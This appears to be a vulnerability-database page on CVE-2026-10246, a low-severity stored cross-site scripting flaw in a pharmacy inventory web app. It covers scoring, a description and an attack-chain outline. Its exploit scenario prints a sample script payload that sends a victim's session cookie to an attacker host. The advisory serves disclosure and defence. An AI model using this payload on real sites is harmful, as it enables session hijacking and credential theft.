Skip to main content

Pharmacy Sales and Inventory System CVE-2026-10246

| EUVD-2026-33620 LOW
Cross-site Scripting (XSS) (CWE-79)
2026-06-01 VulDB GHSA-cvf2-cgfw-jqr4
2.0
CVSS 4.0 · NVD

Severity by source

NVD PRIMARY
2.0 LOW
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Primary rating from NVD · only source for this CVE.

CVSS VectorNVD

CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
P
Scope
X

Lifecycle Timeline

2
Analysis Generated
Jun 01, 2026 - 11:22 vuln.today
CVSS changed
Jun 01, 2026 - 11:22 NVD
3.5 (LOW) 2.0 (LOW)

DescriptionCVE.org

A vulnerability has been found in SourceCodester Pharmacy Sales and Inventory System 1.0. This affects the function create_medicine_presentation of the file /ShowForm/create_medicine_presentation/main. The manipulation of the argument medicine_presentation leads to cross site scripting. The attack may be initiated remotely. The exploit has been disclosed to the public and may be used.

AnalysisAI

Stored or reflected cross-site scripting in SourceCodester Pharmacy Sales and Inventory System 1.0 allows a low-privileged authenticated remote attacker to inject malicious JavaScript via the medicine_presentation argument in the create_medicine_presentation function at /ShowForm/create_medicine_presentation/main. Exploitation requires a victim user to interact with the affected page, limiting blast radius but still enabling session hijacking, credential theft, or UI redirection against authenticated users. …

Unlock full vulnerability intelligence

  • Risk assessment & exploitation conditions
  • Attack chain visualization
  • Remediation with exact patch versions
  • Threat intelligence from 22 sources
  • Personal watchlist & email alerts

Free forever · No credit card required

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata

Access
Authenticate with low-privileged account
Delivery
Submit XSS payload via medicine_presentation field
Exploit
Payload rendered in application page
Execution
Victim user loads affected record
Persist
Malicious script executes in victim browser
Impact
Session token or credentials exfiltrated

Vulnerability AssessmentAI

Exploitation Exploitation requires the attacker to hold at least a low-privileged authenticated account on the Pharmacy Sales and Inventory System (PR:L per CVSS vector) - unauthenticated access to the vulnerable form is not sufficient. … Additional conditions and limiting factors are described in the full assessment.
Risk Assessment The CVSS base score of 3.5 (Low) accurately reflects constrained real-world impact: the attack vector is network-accessible (AV:N) with low complexity (AC:L), but requires low-level authentication (PR:L) and victim user interaction (UI:R), substantially reducing opportunistic exploitation potential. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in.
Exploit Scenario An authenticated low-privileged user - such as a pharmacy clerk with a standard account - submits a crafted medicine presentation entry containing an injected JavaScript payload (e.g., `<script>document.location='http://attacker.com/?c='+document.cookie</script>`) via the `medicine_presentation` form field. When a higher-privileged user such as an administrator subsequently views the affected record, the malicious script executes in their browser, exfiltrating session cookies to an attacker-controlled server. …
Remediation No vendor-released patch has been identified at the time of analysis - the SourceCodester project page (https://www.sourcecodester.com/) does not publish a security advisory or patched release. … Detailed patch versions, workarounds, and compensating controls in full report.

Threat intelligence, references, and detailed analysis are available after sign-in.

Share

CVE-2026-10246 vulnerability details – vuln.today

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy